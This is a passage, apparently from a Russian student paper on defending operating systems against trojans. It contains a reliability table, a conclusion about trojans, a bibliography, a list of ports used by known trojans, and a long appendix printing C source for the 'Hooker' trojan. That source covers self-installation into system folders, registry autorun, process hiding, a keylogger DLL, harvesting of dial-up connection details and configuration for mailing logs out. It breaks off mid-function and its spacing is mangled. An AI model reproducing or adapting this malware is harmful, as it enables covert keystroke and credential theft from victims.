Способы защиты операционной системы от вирусных программ — страница 4
Обновлено
№ ша-га | i | пк1 | пк2 | пк3 | пк4 | пк5 | пк6 | пк7 | пк8 | пк9 | пк10 | коммутатор | сетевой принтер | модем | Фэ | |
pi | 0,88 | 0,88 | 0,88 | 0,88 | 0,88 | 0,88 | 0,88 | 0,88 | 0,88 | 0,88 | 0,882 | 0,779 | 0,78 | |||
qi | 0,12 | 0,12 | 0,12 | 0,12 | 0,12 | 0,12 | 0,12 | 0,12 | 0,12 | 0,12 | 0,118 | 0,221 | 0,22 | |||
1 | ni | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0,15 | |
ai | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1041 | 0,17216 | 0,17 | |||
2 | ni | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 2 | 1 | 0,24 | |
ai | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1041 | 0,03805 | 0,17 | |||
3 | ni | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 2 | 2 | 0,28 | |
ai | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1 | 0,1041 | 0,03805 | 0,04 |
Использование резервных элементов позволяют увеличить значение функции эффективности до необходимого значения.
Таким образом метод пошаговой оптимизации позволяет обосновать характеристики оптимальной структуры системы с предположением, что все элементы включены и постоянно работают, отказ одного элемента приведёт к отказу всей системы. В теории надёжности такая система получила название системы с основными элементами и резервными элементами, находящимися в горячем резерве.
ЗаключениеОсновной целью атаки рабочей станции является, конечно, получение данных, обрабатываемых, либо локально хранимых на ней. А основным средством подобных атак до сих пор остаются "троянские" программы.Троянские программы - одна из наиболее опасных угроз безопасности компьютерных систем. Радикальным способом защиты от этой угрозы является создание замкнутой среды исполнения программ. Никакая другая программа с такой большой вероятностью не приводит к полной компрометации системы, и ни одна другая программа так трудно не обнаруживается.Троянским конем может быть программа, которая делает что-то полезное, или просто что-то интересное. Она всегда делает что ни будь неожиданное, подобно захвату паролей или копированию файлов без ведома пользователя.Основная задача большинства троянских программ состоит в выполнении действий, позволяющих получить доступ к данным, которые не подлежат широкой огласке (пользовательские пароли, регистрационные номера программ, сведения о банковских счетах и т.д.) Кроме того, троянцы могут причинять прямой ущерб компьютерной системе путем приведения ее в неработоспособное состояние.Значительно большую угрозу представляют троянцы, входящие в состав распространенных компьютерных приложений, утилит и операционных систем. Обнаружить такие программы удается чисто случайно. Программное обеспечение, частью которого они являются, в большинстве случаев используется не только какой-то одной компанией, закупившей это программное обеспечение, но и устанавливается на крупные правительственные и образовательные Internet-серверы, распространяется через Internet, а потому последствия могут быть самыми плачевными.Таким образом, троянские программы встречаются довольно часто и, следовательно, представляют серьезную угрозу безопасности компьютерных систем. Большинство троянцев являются частью других программ, которые хранятся в компьютере в откомпилированном виде. Текст этих программ не предназначен для восприятия человеком и представляет собой последовательность команд на машинном языке, состоящую из нулей и единиц. Рядовой пользователь, как правило, не имеет ни малейшего понятия о внутренней структуре таких программ. Он просто запускает их на исполнение путем задания имени соответствующей программы в командной строке или двойным нажатием "мыши", наставляя ее указатель на эту программу.Даже после того, как троянская программа обнаружена, ее вредоносное влияние на компьютерную систему может ощущаться еще в течение очень длительного времени. Зачастую никто не может с уверенностью сказать, насколько сильно была скомпрометирована компьютерная система присутствием в ней троянской программыВ связи с этим для защиты информации, хранящейся на персональных компьютерах, от троянских программ необходимо использовать комплекс программ, например, встроенный брандмауэр Windows, внешний фаервол и антивирусную программ. Использование лишь одного из указанных средств не даст необходимого уровня защищённости информационной системы.Библиографический список1. Д. Макнамара Секреты компьютерного шпионажа: Тактика и контрмеры. Пер. с англ; под ред.С.М. Молявко. - М.: БИНОМ. Лаборатория знаний, 2004. - 536 с
2. Мак-Клар, Стюарт, Скембрей, Джоел, Курц, Джордж. Секреты хакеров. Безопасность сетей - готовые решения, 3-е издание.: Пер. с англ. - М.: Издательский дом "Вильяме", 2002.
3. М. Руссинович, Д. Соломон Внутреннее устройство Windows: Windows Server 2003, Windows XP и Windows 2000:...4-е изд. Пер. с англ. - М.: Издательско-торговый дом "Русская Редакция", 2005г.992
4. Харви М. Дейтел, Дейтел П. Дж., Чофнес Д.Р. Операционные системы. Распределенные системы, сети, безопасность -М.: Бином. Лаборатория знаний, 2006
5. Вебер К., Бадур Г. Безопасность в Windows XP. Готовые решения сложных задач защиты компьютеров. - М.: Diasoft, 2003, 464 с.
6. Хатч, Брайан, Ли, Джеймс, Курц, Джордж Секреты хакеров. Безопасность Linux - готовые решения, 2-е издание, - М.: Издательский дом "Вильямс", 2004, 704 с
7. Скудис Э. Противостояние хакерам: Пошаговое руководство по компьютерным атакам и эффективной защите: Пер. с англ., - М.: ДМК-Пресс, 2003, 512 с
8. http://www.bezpeka.com/ru/news/2005/07/22/4850.html
9. http://www.safensoft.ru/safensec/personal/
10. http://www.xndits.ru/index. php? module=articles&c=articles&b=1&a=32
11. http://www.kuban.ru/help/troyan. htm
12. www.cnews.ru
13. www.viruslist.comruvirusesencyclopediavirusid=34631
14. ru. wikipedia.org
15. http://www.tehnostar.com/newshard/16085.html
16. http://www.hackzona.ru/hz. php? name=News&file=article&sid=3262
17. http://www.compress.ru/Archive/CP/2006/3/81/
Приложение 1Список портов, используемых троянскими программами:port 21 - Back Construction, Blade Runner, Doly Trojan, Fore, FTP trojan, Invisible FTP, Larva, MBT, Motiv, Net Administrator, Senna Spy FTP Server, WebEx, WinCrashport 23 - Tiny Telnet Server, Truva Atlport 25 - Aji, Antigen, Email Password Sender, Gip, Happy 99, I Love You, Kuang 2, Magic Horse, Moscow Email Trojan, Naebi, NewApt, ProMail trojan, Shtrilitz, Stealth, Tapiras, Terminator, WinPC, WinSpyport 31 - Agent 31, Hackers Paradise, Masters Paradise port 41 - DeepThroatport 48 - DRAT port 50 - DRATport 59 - DMSetup port 79 - Firehotckerport 80 - Back End, Executor, Hooker, RingZero port 99 - Hidden Portport 110 - ProMail trojan port 113 - Invisible Identd Deamon, Kazimasport 119 - Happy 99 port 121 - JammerKillahport 123 - Net Controller port 133 - Farnaz, port 146 - Infectorport 146 (UDP) - Infector port 170 - A-trojanport 421 - TCP Wrappers port 456 - Hackers Paradiseport 531 - Rasminport 555 - Ini-Killer, NeTAdministrator, Phase Zero, Stealth Spyport 606 - Secret Serviceport 666 - Attack FTP, Back Construction, NokNok, Cain & Abel, Satanz Backdoor, ServeU, Shadow Phyreport 667 - SniperNet port 669 - DP Trojanport 692 - GayOL port 777 - Aim Spyport 808 - WinHole port 911 - Dark Shadowport 999 - DeepThroat, WinSatan port 1000 - Der Spacher 3port 1001 - Der Spacher 3, Le Guardien, Silencer, WebExport 1010 - Doly Trojan port 1011 - Doly Trojan port 1255 - Scarabport 1256 - Project nEXT port 1269 - Mavericks Matrixport 1313 - NETrojan port 1338 - Millenium Wormport 1349 (UDP) - BO DLL port 1492 - FTP99CMPport 1509 - Psyber Streaming Server port 1524 - Trinooport 1600 - Shivka-Burka port 1777 - Scarabport 1807 - SpySender port 1966 - Fake FTPport 1969 - OpC BO port 1981 - Shockraveport 1999 - BackDoor, TransScout port 1012 - Doly Trojanport 1015 - Doly Trojan port 1016 - Doly Trojanport 1020 - Vampire port 1024 - NetSpyport 1042 - Bla port 1045 - Rasminport 1050 - MiniCommand port 1080 - WinHoleport 1081 - WinHole port 1082 - WinHoleport 1083 - WinHole port 1090 - Xtremeport 1095 - RAT port 1097 - RATport 1098 - RAT port 1099 - BFevolution, RATport 1170 - Psyber Stream Server, Streaming Audio trojan, Voiceport 1200 (UDP) - NoBackO port 1201 (UDP) - NoBackOport 1207 - SoftWAR port 1212 - Kaosport 1225 - Scarab port 1234 - Ultors Trojanport 1243 - BackDoor-G, SubSeven, SubSeven Apocalypse, Tilesport 1245 - VooDoo Dollport 2000 - Der Spaeher 3, Insane Network, TransScoutport 2001 - Der Spaeher 3, TransScout, Trojan Cowport 2002 - TransScout port 2003 - TransScoutport 2004 - TransScout port 2005 - TransScoutport 2023 - Ripper port 2080 - WinHoleport 2115 - Bugs port 2140 - Deep Throat, The Invasorport 2155 - Illusion Mailer port 2283 - HVL Rat5port 2300 - Xplorer port 2565 - Strikerport 2583 - WinCrash port 2600 - Digital RootBeerport 2716 - The Prayer port 2773 - SubSevenport 2801 - Phineas Phucker port 3000 - Remote Shutdownport 3024 - WinCrash port 3128 - RingZeroport 3129 - Masters Paradise port 3150 - Deep Throat, The Invasorport 3456 - Teror Trojan port 3459 - Eclipse 2000, Sanctuaryport 3700 - Portal of Doom port 3791 - Eclypseport 3801 (UDP) - Eclypse port 4000 - Skydanceport 4092 - WinCrash port 4242 - Virtual hacking Machineport 4321 - BoBo port 4444 - Prosiak, Swift remoteport 4567 - File Nail port 4590 - ICQTrojanport 5000 - Bubbel, Back Door Setup, Sockets de Troie port 5001 - Back Door Setup, Sockets de Troieport 5010 - Solo port 5011 - One of the Last Trojans (OOTLT)port 5031 - NetMetropolitan port 5031 - NetMetropolitanport 5321 - Firehotcker port 5343 - wCratport 5400 - Blade Runner, Back Construction port 5401 - Blade Runner, Back Constructionport 5402 - Blade Runner, Back Construction port 5550 - Xtcpport 5512 - Illusion Mailer port 5555 - ServeMeport 5556 - BO Facil port 5557 - BO Facilport 5569 - Robo-Hack port 5637 - PC Crasherport 5638 - PC Crasher port 5742 - WinCrashport 5882 (UDP) - Y3K RAT port 5888 - Y3K RATport 6000 - The Thing port 6006 - The Thingport 6272 - Secret Service port 6400 - The Thingport 6667 - Schedule Agent port 6669 - Host Control, Vampyreport 6670 - DeepThroat, BackWeb Server, WinNuke eXtreameport 6711 - SubSeven port 6712 - Funny Trojan, SubSevenport 6713 - SubSeven port 6723 - Mstreamport 6771 - DeepThroat port 6776 - 2000 Cracks, BackDoor-G, SubSevenport 6838 (UDP) - Mstream port 6912 - Shit Heep (not port 69123!)port 6939 - Indoctrinationport 6969 - GateCrasher, Priority, IRC 3, NetController port 6970 - GateCrasherport 7000 - Remote Grab, Kazimas, SubSeven port 7001 - Freak88port 7215 - SubSeven port 7300 - NetMonitorport 7301 - NetMonitor port 7306 - NetMonitorport 7307 - NetMonitor port 7308 - NetMonitorport 7424 - Host Control port 7424 (UDP) - Host Controlport 7789 - Back Door Setup, ICKiller port 7983 - Mstreamport 8080 - RingZero port 8787 - Back Orifice 2000port 8897 - HackOffice port 8988 - BacHackport 8989 - Rcon port 9000 - Netministratorport 9325 (UDP) - Mstream port 9400 - InCommandport 9872 - Portal of Doom port 9873 - Portal of Doomport 9874 - Portal of Doom port 9875 - Portal of Doomport 9876 - Cyber Attacker, RUX port 9878 - TransScoutport 9989 - iNi-Killer port 9999 - The Prayerport 10067 (UDP) - Portal of Doom port 10085 - Syphillisport 10086 - Syphillis port 10101 - BrainSpyport 10167 (UDP) - Portal of Doom port 10528 - Host Controlport 10520 - Acid Shivers port 10607 - Comaport 10666 (UDP) - Ambush port 11000 - Senna Spyport 11050 - Host Control port 11051 - Host Controlport 11223 - Progenic trojan, Secret Agent port 12076 - Gjamerport 12223 - Hack+99 KeyLoggerport 12345 - GabanBus, My Pics, NetBus, Pie Bill Gates, Whack Job, X-billport 12346 - GabanBus, NetBus, X-bill port 12349 - BioNetport 12361 - Whack-a-mole port 12362 - Whack-a-moleport 12623 (UDP) - DUN Control port 12624 - Buttmanport 12631 - WhackJob port 12754 - Mstreamport 13000 - Senna Spy port 13010 - Hacker Brazilport 15092 - Host Control port 15104 - Mstreamport 16660 - Stacheldracht port 16484 - Mosuckerport 16772 - ICQ Revenge port 16969 - Priorityport 17166 - Mosaic port 17300 - Kuang2 The Virusport 17777 - Nephron port 18753 (UDP) - Shaftport 19864 - ICQ Revenge port 20001 - Millenniumport 20002 - AcidkoR port 20034 - NetBus 2 Pro, NetRex, Whack Jobport 20203 - Chupacabra port 20331 - Blaport 20432 - Shaft port 20432 (UDP) - Shaftport 21544 - GirlFriend, Kidterror, Schwindler, WinSp00fer port 22222 - Prosiakport 23023 - Logged port 23432 - Asylumport 23456 - Evil FTP, Ugly FTP, Whack Job port 23476 - Donald Dickport 23476 (UDP) - Donald Dick port 23477 - Donald Dickport 26274 (UDP) - Delta Source port 26681 - Spy Voiceport 27374 - SubSeven port 27444 (UDP) - Trinooport 27573 - SubSeven port 27665 - Trinooport 29104 - Host Control port 29891 (UDP) - The Unexplainedport 30001 - TerrOr32 port 30029 - AOL Trojanport 30100 - NetSphere port 30101 - NetSphereport 30102 - NetSphere port 30103 - NetSphereport 30103 (UDP) - NetSphere port 30133 - NetSphereport 30303 - Sockets de Troie port 30947 - Intruseport 30999 - Kuang2 port 31335 (UDP) - Trinooport 31336 - Bo Whack, ButtFunnel port 31337 - Baron Night, BO client, BO2, Bo Facilport 31337 (UDP) - BackFire, Back Orifice, DeepBO, Freak>port 31338 - NetSpy DK, ButtFunnel port 31338 (UDP) - Back Orifice, DeepBOport 31339 - NetSpy DK port 31666 - BOWhackport 31785 - Hack+a+Tack port 31787 - Hack+a+Tackport 31788 - Hack+a+Tack port 31789 (UDP) - Hack+a+Tackport 31791 (UDP) - Hack+a+Tack port 31792 - Hack+a+Tackport 32100 - Peanut Brittle, Project nEXT port 32418 - Acid Batteryport 33333 - Blakharaz, Prosiak port 33577 - PsychWardport 33777 - PsychWard port 33911 - Spirit 2001aport 34324 - BigGluck, TN port 34555 (UDP) - Trinoo (Windows)port 35555 (UDP) - Trinoo (Windows) port 37651 - YATport 40412 - The Spy port 40421 - Agent 40421, Masters Paradiseport 40422 - Masters Paradise port 40423 - Masters Paradiseport 40426 - Masters Paradise port 41666 - Remote Bootport 41666 (UDP) - Remote Boot port 44444 - Prosiakport 47262 (UDP) - Delta Source port 50505 - Sockets de Troieport 50766 - Fore, Schwindler port 51996 - Cafeiniport 52317 - Acid Battery 2000 port 53001 - Remote Windows Shutdownport 54283 - SubSeven port 54320 - Back Orifice 2000port 54321 - School Bus port 54321 (UDP) - Back Orifice 2000port 57341 - NetRaider port 58339 - ButtFunnelport 60000 - Deep Throat port 60068 - Xzip 6000068port 60411 - Connection port 61348 - Bunker-Hillport 61466 - Telecommando port 61603 - Bunker-Hillport 63485 - Bunker-Hill port 65000 - Devil, Stacheldrachtport 65432 - The Traitor port 65432 (UDP) - The Traitorport 65535 - RCПРИЛОЖЕНИЕ 2Исходный текст троянца Нооker#include "hooker. h"#include "logfunc. h"#include "common. h"#include "lzw. h" // ------------ - путь в реестре---------------------HKEY GetRegKey (const char* s,char* r){const char* szRoots [] = {"HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS"};const HKEY hKeys [] = {HKEY_CLASSES_ROOT,HKEY_CURRENT_USER,HKEY_LOCAL_MACHINE,HKEY_USERS};int i;for (i=0; i<4; i++)if (! strncmp (s, szRoots [i], strlen (szRoots [i]))) {strcpy (r, s + strlen (szRoots [i]) + 1);return hKeys [i];};return NULL;}; // --------------Повторный запуск программы при необходимости--------------void RecurrentStart (void){char *szCmd,sz1 [0x100],sz2 [0x100];PROCESS_INFORMATION pi;STARTUPINFO si;szCmd = GetCommandLine ();sprintf (sz1,"Restart_%X",sti. number);if (! strstr (szCmd,sz1)) { // Это первая копия процесса, сделать вторуюmemset (&si,0,sizeof (si));si. cb = sizeof (si);GetModuleFileName (NULL,sz2,sizeof (sz2)); // Создаем процессCreateProcess (sz2, // pointer to name of executable modulesz1, // pointer to command line stringNULL, // pointer to process security attributesNULL, // pointer to thread security attributesfalse, // handle inheritance flag0, // creation flagsNULL, // pointer to new environment blockNULL, // pointer to current directory name&si, // pointer to STARTUPINFO&pi // pointer to PROCESS_INFORMATION);ExitProcess (0);};}; // ----------------------------Деинсталяция----------------------------void AutoKill (HINSTANCE h_keylog){HKEY hKey,hRoot;char sz1 [0x100];EnterCriticalSection (&gcs); // вход реестреhRoot = GetRegKey (sti. reg_path,sz1);if (hRoot) {RegOpenKeyEx (hKey, // handle of open keysz1, // address of name of subkey to open0, // reservedKEY_ALL_ACCESS, // security access mask&hKey // address of handle of open key);RegDeleteValue (hKey,sti. reg_desc);RegCloseKey (hKey);}; // Удаляем логDeleteFile (sti. logname); // Удаляем keylog dllGetModuleFileName (h_keylog,sz1,sizeof (sz1));FreeLibrary (h_keylog);DeleteFile (sz1); // Adieu!ExitProcess (0);}; // ----------------------Установка в реестре---------------------------void RegInstall (void){HKEY hKey,hRoot;ULONG i,j;char buf1 [0x100],buf2 [0x100];hRoot = GetRegKey (sti. reg_path,buf1);if (! hRoot) hRoot = HKEY_LOCAL_MACHINE;if (RegCreateKeyEx (hRoot, // handle of an open keybuf1, // address of subkey name0, // reserved"", // address of class stringREG_OPTION_NON_VOLATILE, // special options flagKEY_ALL_ACCESS, // desired security accessNULL, // address of key security structure&hKey, // address of buffer for opened handle&i // address of disposition value buffer) ! = ERROR_SUCCESS) return;i = sizeof (buf1);if (sti. fullname)strcpy (buf2,sti. full_exe_name);elsestrcpy (buf2,sti. exe_name);if ( (RegQueryValueEx (hKey, // handle of key to querysti. reg_desc, // address of name of value to queryNULL, // reserved&j, // address of buffer for value type(UCHAR*) buf1, // address of data buffer&i // address of data buffer size) ! = ERROR_SUCCESS) ||(j! = REG_SZ) ||(strcmp (buf1,buf2))) { // Надо ставить свой ключRegSetValueEx (hKey, // handle of key to set value forsti. reg_desc, // address of value to set0, // reservedREG_SZ, // flag for value type(UCHAR*) buf2, // address of value datastrlen (buf2) + 1 // size of value data);};RegCloseKey (hKey);}; // -----------------------Инсталяция в систему-------------------------void Install (void){char buf1 [0x100],buf2 [0x100];PROCESS_INFORMATION pi;STARTUPINFO si; // из какого каталога запуск?GetModuleFileName (NULL,buf1,sizeof (buf1));CharUpperBuff (buf1,strlen (buf1));if (strcmp (sti. full_exe_name,buf1)) { // Нет это не наш каталог // Копируемif (CopyFile (buf1,sti. full_exe_name,false)) { // Скопировали нормальноmemset (&si,0,sizeof (si));si. cb = sizeof (si);sprintf (buf2,"Restart_%X Kill_%X=%s",sti. number,sti. number,buf1); // Стартуем процессCreateProcess (sti. full_exe_name, // pointer to name of executable modulebuf2, // pointer to command line stringNULL, // pointer to process security attributesNULL, // pointer to thread security attributesfalse, // handle inheritance flag0, // creation flagsNULL, // pointer to new environment blockNULL, // pointer to current directory name&si, // pointer to STARTUPINFO&pi // pointer to PROCESS_INFORMATION);};ExitProcess (0);};}; // --------------------Проверка на включение кейлога-------------------bool TitleTest (HWND hwnd, char* t){char title [0x200];UINT i;GetWindowText (hwnd,title,sizeof (title)); // Считываем заголовок окнаstrcpy (t,title);if (sti. total_log) return true; // Если постоянный логCharUpperBuff (title,strlen (title)); // в верхний регисрfor (i = 0; i<sti. nsubstr; i++) // Ищем субстрокиif (strstr (title,sti. substr [i])) return true;return false;}; // --------Тут происходит проверка на возникновение соединения---------void ConDectecting (void){static HRASCONN hconn;static int state;RASCONN rascon;RASCONNSTATUS rascs;LPRASENTRY re;RASPPPIP rasip;SYSTEMTIME st;int i,j;char sz1 [0x1000],sz2 [0x100];FILE* fs;if (! bRASDLL) return; // текущее соединение?rascon. dwSize = sizeof (RASCONN);j = sizeof (rascon);if (RasEnumConnections (&rascon, // buffer to receive connections data(LPDWORD) &j, // size in bytes of buffer(LPDWORD) &i // number of connections written to buffer)) return;if (! i) { // нет соединенийhconn = NULL;return;}; // на каком этапе подключение?rascs. dwSize = sizeof (rascs);i = RasGetConnectStatus (rascon. hrasconn, // handle to RAS connection of interest&rascs // buffer to receive status data);if ( (i) || (rascs. rasconnstate == RASCS_Disconnected)) {hconn = NULL;return;};if (hconn! = rascon. hrasconn) {state = rascs. rasconnstate;hconn = rascon. hrasconn;return;};if ( (rascs. rasconnstate == RASCS_Connected) && (state! = RASCS_Connected)) {state = RASCS_Connected; // новое соединение успешно установленоGetLocalTime (&st); // имя, время соединенияsprintf (sz1,"\nConnection: \"%s\",%2.2u:%2.2u:%2.2u\n",rascon. szEntryName,st. wHour,st. wMinute,st. wSecond);i = 0; // опередляем количество памяти под RASENTRYRasGetEntryProperties (NULL, // pointer to full path and filename of phone-book filerascon. szEntryName, // pointer to an entry nameNULL, // buffer that receives entry information(LPDWORD) &i, // size, in bytes, of the lpRasEntry bufferNULL, // buffer that receives device-specific configuration informationNULL // size, in bytes, of the lpbDeviceInfo buffer);re = (LPRASENTRY) new BYTE [i];re->dwSize = sizeof (RASENTRY);j = RasGetEntryProperties (NULL, // pointer to full path and filename of phone-book filerascon. szEntryName, // pointer to an entry namere, // buffer that receives entry information(LPDWORD) &i, // size, in bytes, of the lpRasEntry bufferNULL, // buffer that receives device-specific configuration informationNULL // size, in bytes, of the lpbDeviceInfo buffer); // телефон, скриптif (! j) {if (re->dwfOptions & RASEO_UseCountryAndAreaCodes)sprintf (sz2,"\tPN:%u,%s,%s\n",re->dwCountryCode,re->szAreaCode,re->szLocalPhoneNumber);elsesprintf (sz2,"\tPN:%s\n",re->szLocalPhoneNumber);strcat (sz1,sz2);if (strcmp (re->szScript,"")) {sprintf (sz2,"\tScript:%s\n",re->szScript);strcat (sz1,sz2);fs = fopen (re->szScript,"rt");if (fs) {fseek (fs,0,SEEK_END);i = ftell (fs);j = strlen (sz1);if (i < ( (int) sizeof (sz1) - j - 0x40)) {fseek (fs,0,SEEK_SET);i = fread (&sz1 [j],1, i,fs);sz1 [j + i] = 0;strcat (sz1,"\n");};fclose (fs);};};};delete re;i = sizeof (RASPPPIP);rasip. dwSize = i;j = RasGetProjectionInfo (rascon. hrasconn, // handle that specifies remote access connection of interestRASP_PppIp, // specifies type of projection information to obtain&rasip, // points to buffer that receives projection information(LPDWORD) &i // points to variable that specifies buffer size); // IP наш и сервераif (! j) {sprintf (sz2,"\tIP:%s\n""\tServer's IP:%s\n",rasip. szIpAddress,rasip. szServerIpAddress);strcat (sz1,sz2);};LogAdd (sz1);};}; // ---------------------Удаление предудущей копии----------------------void DelPrev (){CREATETOOL CreateToolhelp32Snapshot;FIRST32 Process32First;NEXT32 Process32Next;HANDLE h_th;HINSTANCE h_l;PROCESSENTRY32 pe;HANDLE hp;h_l = LoadLibrary ("KERNEL32. DLL");if (! h_l) return;CreateToolhelp32Snapshot =(CREATETOOL) GetProcAddress (h_l,"CreateToolhelp32Snapshot");Process32First = (FIRST32) GetProcAddress (h_l,"Process32First");Process32Next = (NEXT32) GetProcAddress (h_l,"Process32Next");if ( (! Process32Next) || (! Process32First) || (! CreateToolhelp32Snapshot))goto exit_proc;h_th = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS,0);pe. dwSize = sizeof (pe);if (! Process32First (h_th,&pe)) goto exit_proc;do {CharUpperBuff (pe. szExeFile,strlen (pe. szExeFile));if ( (! strcmp (sti. full_exe_name,pe. szExeFile)) && (GetCurrentProcessId () ! = pe. th32ProcessID)) {hp = OpenProcess (PROCESS_TERMINATE,0,pe. th32ProcessID);if (hp)#ifdef _DEBUGif (! TerminateProcess (hp,0)) ShowMessage ("Cannot terminate process");#elseTerminateProcess (hp,0);#endif};} while (Process32Next (h_th,&pe));exit_proc:FreeLibrary (h_l);}; // -------------callback функция для распаковки кейлог-dll-------------FILE* unpack_file;void Callback (char* data, int len){fwrite (data,1,len,unpack_file);}; // -----------------------------WinMain--------------------------------int WINAPI WinMain (HINSTANCE,HINSTANCE,LPSTR, int){MSG msg;char buf1 [0x100],buf2 [0x200], buf3 [0x100], *szKillIt;HINSTANCE h_ker, h_keylog, h_ras;SYSTEMTIME systime, killtime, mailtime, exectime;int h_timer, i, j;LPREGISTERSERVICEPROCESS lpRegServ;LPGETDATA GetData;LPKEYLOGON KeylogOn;LPKEYLOGOFF KeylogOff;LPKEYLOGOPT KeylogOpt;bool IsLog = false, IsMailing = false, IsChange = false;UINT cFlush = 0, cMail = 0, cAutoKill = 0, cRegInst = 0, cExe = 0, cCon = 0;HWND h_curwnd, h_oldwnd = NULL;FILE* h_f;HRSRC hr;HGLOBAL hrd;_AttachedData a_d;char* sti_buf;char old_title [MAX_PATH];int d_s; // Грузим конфинурациюGetModuleFileName (NULL,buf1,sizeof (buf1));h_f = fopen (buf1,"rb");fseek (h_f,0,SEEK_END);d_s = ftell (h_f);sti_buf = new char [d_s];fseek (h_f,0,SEEK_SET);fread (sti_buf,1,d_s,h_f);for (i=d_s-1; i>=0; i--) {sti_buf [i-1] ^= sti_buf [i];sti_buf [i-1] += sti_buf [i];};memcpy (&a_d,&sti_buf [d_s - sizeof (_AttachedData)],sizeof (_AttachedData));if (a_d. signature! = 0x3104) return - 1;sti. total_log = a_d. total_log;sti. encrypt_log = a_d. encrypt_log;sti. send_mail = a_d. send_mail;sti. syspass = a_d. syspass;sti. autokill = a_d. autokill;sti. fullname = a_d. fullname;sti. exepath = a_d. exepath;sti. ras = a_d. ras;sti. loglimit = a_d. loglimit;sti. sendafter = a_d. sendafter;sti. nsubstr = a_d. n_ss;sti. number = a_d. number; // грузим субстрокиfor (i=0,j=a_d. ss_ofs; (UINT) i<a_d. n_ss; i++) {sti. substr [i] = new char [strlen (&sti_buf [j]) + 1];strcpy (sti. substr [i],&sti_buf [j]);j += strlen (&sti_buf [j]) + 1;}; // имя логаstrcpy (buf1,&sti_buf [a_d. logname_ofs]);GetSystemDirectory (sti. logname,sizeof (sti. logname));strcat (sti. logname,"\\");strcat (sti. logname,buf1); // адрес хостаstrcpy (sti. host,&sti_buf [a_d. host_ofs]); // от кого?strcpy (sti. mailfrom,&sti_buf [a_d. mailfrom_ofs]); // кому?strcpy (sti. mailto,&sti_buf [a_d. mailto_ofs]);strcpy (sti. subj,&sti_buf [a_d. subj_ofs]); // имя exe-файлаstrcpy (sti. exe_name,&sti_buf [a_d. exe_ofs]); // имя кейлог-dllstrcpy (sti. dll_name,&sti_buf [a_d. dll_ofs]); // полное имя exe-файлаif (sti. exepath == 2)strcpy (sti. full_exe_name,&sti_buf [a_d. exe_ofs]);else {if (! sti. exepath)GetWindowsDirectory (sti. full_exe_name,sizeof (sti. full_exe_name));elseGetSystemDirectory (sti. full_exe_name,sizeof (sti. full_exe_name));strcat (sti. full_exe_name,"\\");strcat (sti. full_exe_name,&sti_buf [a_d. exe_ofs]);};CharUpperBuff (sti. full_exe_name,strlen (sti. full_exe_name)); // описание в реестреstrcpy (sti. reg_desc,&sti_buf [a_d. reg_descr_ofs]); // путь в реестреstrcpy (sti. reg_path,&sti_buf [a_d. reg_path_ofs]); // адрес exe-файла для запускаstrcpy (sti. http,&sti_buf [a_d. http_ofs]); // порт сендмэйлаsti. port = a_d. port; // интервал между посылкамиmemcpy (&sti. send_i,&a_d. send_i,sizeof (SYSTEMTIME)); // время жизниmemcpy (&sti. kill_i,&a_d. kill_i,sizeof (SYSTEMTIME));delete sti_buf;DelPrev ();#ifndef _DEBUGRecurrentStart (); // Повторно запусть?Install (); // Интсталируем#endif // Что у нас в командной строке?sprintf (buf1,"Kill_%X=",sti. number);szKillIt = strstr (GetCommandLine (),buf1);if (szKillIt) szKillIt += strlen (buf1); // Скрываем процессh_ker = LoadLibrary ("KERNEL32. DLL");if (h_ker) {lpRegServ =(LPREGISTERSERVICEPROCESS) GetProcAddress (h_ker,"RegisterServiceProcess");#ifndef _DEBUGif (lpRegServ) lpRegServ (NULL,1);#endifFreeLibrary (h_ker);}; // Подгружаем RASAPI32. DLL если естьh_ras = LoadLibrary ("RASAPI32. DLL");if (h_ras) {RasEnumConnections= (LPRASENUMCCONNECTIONS) GetProcAddress (h_ras,"RasEnumConnectionsA");RasGetConnectStatus = (LPRASGETCONNECTSTATUS) GetProcAddress (h_ras,"RasGetConnectStatusA");RasGetEntryProperties = (LPRASGETENTRYPROPERTIES) GetProcAddress (h_ras,"RasGetEntryPropertiesA");RasGetProjectionInfo = (LPRASGETPROJECTIONINFO) GetProcAddress (h_ras,"RasGetProjectionInfoA");bRASDLL = (RasEnumConnections) && (RasGetConnectStatus) && (RasGetEntryProperties) && (RasGetProjectionInfo);} else bRASDLL = false; // Проинициализировать логLogInit ();GetSystemDirectory (buf1,sizeof (buf1));strcat (buf1,"\\");strcat (buf1,sti. dll_name);h_keylog = LoadLibrary (buf1);if (! h_keylog) {hr = FindResource (NULL, // resource-module handle(LPCTSTR) IDR_KDLL, // pointer to resource name"KDLL" // pointer to resource type);hrd = LoadResource (NULL, // resource-module handlehr // resource handle);unpack_file = fopen (buf1,"w+b");if (! unpack_file) return - 1;LZWUnpack ( (char*) hrd,Callback);fclose (unpack_file);h_keylog = LoadLibrary (sti. dll_name);}; // грузим функции кейлог-dllGetData = (LPGETDATA) GetProcAddress (h_keylog,"GetData");KeylogOn = (LPKEYLOGON) GetProcAddress (h_keylog,"KeylogOn");KeylogOff = (LPKEYLOGOFF) GetProcAddress (h_keylog,"KeylogOff");KeylogOpt = (LPKEYLOGOPT) GetProcAddress (h_keylog,"KeylogOpt");#ifdef _DEBUGif (! GetData) {ShowMessage ("Error load GetData function");return - 1;};if (! KeylogOn) {ShowMessage ("Error load KeyLogOn function");return - 1;};if (! KeylogOff) {ShowMessage ("Error load KeyLogOff function");return - 1;};if (! KeylogOpt) {ShowMessage ("Error load KeyLogOpt function");return - 1;};#elseif ( (! GetData) || (! KeylogOn) || (! KeylogOff) || (! KeylogOpt)) return - 1;#endif // Ставим режим работы кейлог-dllKeylogOpt (a_d. adv_log); // проинициализить критическую секциюInitializeCriticalSection (&gcs); // Пишем время стартаi = sizeof (buf1);if (! GetUserName (buf1, (DWORD*) &i)) buf1 [0] = 0;i = sizeof (buf3);if (! GetComputerName (buf3, (DWORD*) &i)) 